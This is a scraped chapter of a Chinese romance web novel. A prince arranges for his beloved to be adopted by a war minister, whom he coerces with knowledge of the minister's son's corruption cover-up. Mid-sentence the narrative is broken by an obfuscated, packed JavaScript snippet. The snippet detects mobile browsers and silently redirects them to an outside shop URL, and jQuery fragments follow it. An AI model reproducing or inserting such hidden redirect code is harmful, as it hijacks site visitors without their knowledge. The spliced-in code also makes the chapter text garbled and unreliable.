文趣网 > 其他小说 > 朝暮雪 > 95. 第 95 章
    翌日清晨。

    阿盈坐在铜镜前,红叶站在身后,给她梳了个垂挂髻,一半束起,一半落在肩膀,留有垂发。

    水碧色衣裙配上这发髻,温婉端庄,委实不像她。

    红叶察觉阿盈的异样,笑着说:“夫人是去尚书府认亲的,还是在宴席上,自然要隆重些。”

    “再说,往后那尚书府的大人与主母是您的爹娘,第一次见面装扮得温柔婉约,才能在他们心底落下个好印象。”

    阿盈不以为然,随她折腾。

    这时,高玉桢走进来,红叶见状,行了行礼,安静退下。

    阿盈正低头把玩一枚青色玉佩,正面雕刻着花草,背面是一个柔字。

    他拿起桌上一支羊脂玉发簪,斜插在她挽起的发髻,“这玉佩有何特别之处?让你看这般久。”

    她抬头,惊诧地侧首看他。

    她手将玉佩倒扣,“这玉佩是那时与我一同入宫的秀女徐柔书的。”

    高玉桢一想便知,这徐柔书大抵死了,不然贴身玉佩怎会在她手里。

    他没追问,往铜镜里瞧,镜子里女子温婉端庄,又不失少女的俏皮。

    和平日的她又是另一种模样。

    阿盈见他一直盯着她看,唇角微勾,眼波流转,带着一丝撩拨的意味,“好看吗?”

    高玉桢眨了下眸子,回过神,俯身凑过去吻住她的唇,用行动回应了她。

    阿盈惊了下,连忙想要躲避,却被他强势地捏住下颌。

    她无奈地道:“我涂了口脂。”

    他可不管,结果便是一吻毕后,嘴角处沾上她唇瓣绯红的口脂,晕染一片,暧昧又狼狈,却莫名显出几分风流韵色。

    她瞧着,忍不住笑出声。

    他抬手,指尖在她额头弹了下,“还笑,帮我擦了?”

    阿盈起身,手帕沾了点温水,回到他身侧,两指掐住他下巴,神色专注,一点点地擦拭着他唇边的口脂。

    一刻钟后,两人上了马车。

    车轱辘吱呀吱呀地转动,碾压着青石板发出声响,伴随着吆喝叫卖的声音传来。

    热闹喧嚣,一派欣欣向荣。

    由此可见,前些时日的谋反并未被他们放在心上。

    也是,无论皇位坐着哪位皇子,百姓皆不关心,他们只关心谁能让他们吃饱肚子,身上穿暖。

    吃饱穿暖,这是一个普通平民最稀松平常的愿景。

    这亦是天下君主的责任。

    襄阳王府的马车一路往兵部尚书府的后门行驶,途径前门,熙熙攘攘,人头攒动,府门停了许多马车。

    皆是来赴顾尚书的认亲宴。

    阿盈不知去后门,有些奇怪,“不走前门吗?”

    高玉桢把玩着她的手指,“义女这时该在府中与义父义母相谈甚欢,而不是认亲宴当日,才从外头回来,特别是从襄阳王的马车上下来。”

    他抬眸,捧着她的脸,拇指轻轻摩挲,“圣旨未到之前,于你名声不好。”

    她微微颔首,“我明白了。”

    她倒没想到这一层。

    驾车的是程辛,他拉扯缰绳,拐进一处巷子,远远看到顾长庚与其妻还有两个儿子等候在门前。

    顾长庚翘首以盼,终于看到驶来的马车,转头问妻子,“可有不妥之处?”

    魏氏捂嘴笑了下,“你如此紧张作甚?好看的很,衣冠整齐,并无失礼之处。”

    顾长庚严肃紧绷的老脸勉强扯出个微笑,但因极少展露笑颜,脸上的笑有点牵强生疏。

    一个月前,高玉桢来找他时,他困惑的同时,又不免生出警惕,下意识猜测这其中是否有什么阴谋诡计。

    可仔细一想,襄阳王为人虽阴鸷冷淡,但行事光明磊落,不会两面三刀地算计他人。

    况且他为大齐做的一切,所有人都看在眼里,不少人打从心底钦佩。

    再则他如今处境堪忧,明明是皇帝的亲弟弟,当年扶持圣上登上皇位的忠臣,却落得个身染重病,被圣上处处提防的下场。

    连带着底下誓死追随的士兵都没有好结果。

    说来真是唏嘘不已。

    思来想去,他还是去前厅见了高玉桢。

    “臣顾长庚见过襄阳王殿下。”顾长庚双手作揖,举止恭敬。

    高玉桢上前两步,意外的亲和,他语气同样温和,手轻轻扶起他的手臂,“顾大人不必多礼。”

    顾长庚有些受宠若惊。

    两人落座,下人端来茶水。

    顾长庚也是个直性子,没那么多弯弯绕绕,直言不讳道:“不知殿下光临敝舍,所为何事?”

    高玉桢:“顾大人家中只有两子,长子正值弱冠,任职户部侍郎,幼子十八,任职大理寺司直可对?”

    顾长庚脸色一变,猛然站起身,沉声问:“殿下,可是我那两个劣儿冒犯了您?若是如此,我带两个劣子先向您赔不是。”

    高玉桢淡笑,“顾大人不必紧张,我只是一问。”

    顾长庚听言,并没有放下戒备,肃容,语气沉重,“殿下不妨有话直言。”

    他回到座位坐下,手肘放在扶手上,双手交扣,“听闻你一直想要个女儿,却因与夫人结发恩深,未曾纳妾。”

    “你想不想收义女?”

    顾长庚怔然,皱眉望着他,心想,这高玉桢难不成是想往他府塞人?

    这么做的目的是什么?兵部有什么他想要的东西?

    他目光沉沉,藏着警惕,面上却不显,“殿下,臣有一妻两子已然很知足,女儿之事乃上苍安排,强求不得。是以,臣更愿顺理安命,”

    “多谢殿下惦念,家事便不劳殿下费心。”

    “顾长庚,你的幼子顾舟山数月前驰赴宜州推究蔚县县令贪赃一案,对其小女一见钟情,之后两人情意相投,顾舟山不惜为其父脱罪,掩盖罪行,蔚县县令非但没有因贪赃枉法而伏法,反而坐上了太守的位置,是也不是?”

    随着他一字一言的说出,顾长庚的脸色一寸寸惨白,他头皮发紧,心脏剧烈的跳动,寒意霎时从脊背窜起,冷汗滴答地流淌。

    高玉桢指尖摩挲着微凉的杯壁,眉眼淡漠,面不改色,周身却萦绕着一股迫人的气场,叫那顾长庚险些站不稳脚跟。

    顾长庚为人正直古板不假,但谁让他对幼子百般纵容宠溺,要什么

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760603|202674||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    给什么,在听闻幼子的行径也只是训斥了一番,知他先斩后奏,已然为其脱罪,却也无可奈何,只好跟在后面收拾烂摊子掩护。

    明明这件事情瞒得很好,该杀的人都杀了,高玉桢是如何得知此事的?

    想到这里,他心生一阵恐惧。

    顾长庚脸色难看到了极点,他闭上眼睛,佝偻着背,语气疲惫中带着恳求,“请殿下高抬贵手,此事臣愿意一力承担。”

    “我知朝野上下相蒙,黩货滋甚,多得是徒有仪表,我不会刻意追究,却也无法在得知真相后仍不惩处,此事还是告知皇兄处置才是。”

    说罢,高玉桢站起身,就要往外走去。

    走到门口,扑通一声。

    他顿住脚步,回头,只见顾长庚双膝跪地,双手作揖,老泪纵横,满是哀求,“殿下!臣跪求您放幼子一条生路!”

    “您要臣做什么,臣定然弹尽竭虑,在所不惜。”

    高玉桢居高临下地俯视他,淡声道:“顾大人,我怎么会逼你做什么,不过是给你送个孝顺懂事的好女儿,顾大人无意,便也就罢了。”

    顾长庚怔愣,立马反应过来,急忙道:“方才臣只是一时糊涂,自是愿意的,内子一直盼着有个乖巧懂事的女儿,奈何天不遂人愿。”

    “臣叩谢殿下大恩,不知那小娘子在何处,可否让臣与内子见一见?”

    他怎么也想不明白,高玉桢不惜亲自上门威胁他一通,只是为了让他收一个女子做义女。

    这女子到底是何人,什么样的女子能和襄阳王关系匪浅?他想不通。

    听他所言,高玉桢才恢复成方才温和的模样,好歹是小蛮的义父,勉强算得上他未来的丈人。

    “见就不必,何时办认亲宴,我再与你说。”

    顾长庚嗫嚅着嘴巴,“殿下,那犬子之事……”

    高玉桢:“你且放心,日后你是小蛮的义父,那便也与我沾了点关系,我自是不会自罹祸殃。”

    沾了点关系?什么关系?

    顾长庚懵了下,而直到现在,他看到高玉桢对待那即将成为他义女的小娘子如此郑重亲昵的模样,才恍然大悟。

    心想这小娘子怕是个身份低的,要用他顾尚书义女的身份抬高门第,除了让小娘子坐上襄阳王王妃这个位置,他想不到高玉桢这么做的理由。

    高玉桢先下马车,回头要牵住她的手时,阿盈已然下了马车。

    顾长庚暗自打量,魏氏已然恳挚地迎接上去,笑着拉住阿盈的双手,“我是你的义母,这两位是你的义兄,他叫顾知礼,右边的是你二哥顾舟山,你还有个二嫂嫂,正在里面张罗客人。”

    顾家两兄弟一一和她打了声招呼,亲切地唤她一声,“阿妹。”

    魏氏上下打量她,眼底尽是满意,又道:“日后你唤一声母亲即可,就别见外叫义母了。”

    阿盈被她热切的举动惊住了,有些无从适应,只羞赧地点了点头,不动声色地收回手。

    高玉桢与顾长庚两人寒暄了下,他当着众人的面,握住阿盈的手,浅笑,“小蛮先进去,我们过会儿见。”

    众人见状二人举动,心底多少有些猜测。